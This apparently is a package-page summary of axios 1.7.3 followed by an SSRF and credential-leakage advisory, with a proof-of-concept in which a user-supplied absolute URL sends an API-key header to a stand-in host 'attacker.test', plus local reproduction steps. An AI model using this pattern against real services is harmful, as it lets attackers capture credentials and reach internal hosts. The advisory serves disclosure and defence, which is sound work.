Axios version 1.7.3 is a minor update to the popular promise-based HTTP client for browsers and Node.js, building upon the solid foundation of version 1.7.2. Both versions maintain the same core dependencies: form-data, proxy-from-env, and follow-redirects, ensuring continued compatibility and functionality for common use cases like handling form submissions, proxy configurations, and HTTP redirects. The extensive list of development dependencies, crucial for building, testing, and maintaining the library, remains largely consistent between the two versions, indicating a focus on stability and consistent development practices.
A key difference lies in the dist object, specifically the unpackedSize. Version 1.7.3 shows an increase in unpacked size compared to 1.7.2, suggesting potential additions of features, bug fixes, or optimizations that contribute to a slightly larger footprint. The release date also highlights the recency of version 1.7.3, indicating that it incorporates the latest improvements and potentially addresses any outstanding issues found in 1.7.2.
For developers, this update signals a commitment to ongoing maintenance and refinement. While the core functionality remains the same, upgrading to version 1.7.3 ensures they benefit from the most recent bug fixes, performance enhancements, and any subtle improvements that have been incorporated, all while retaining the familiar and reliable Axios API they've come to depend on for making HTTP requests. The minor version bump suggests a low-risk upgrade with potential benefits.
All the vulnerabilities related to the version 1.7.3 of the package
Server-Side Request Forgery in axios
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.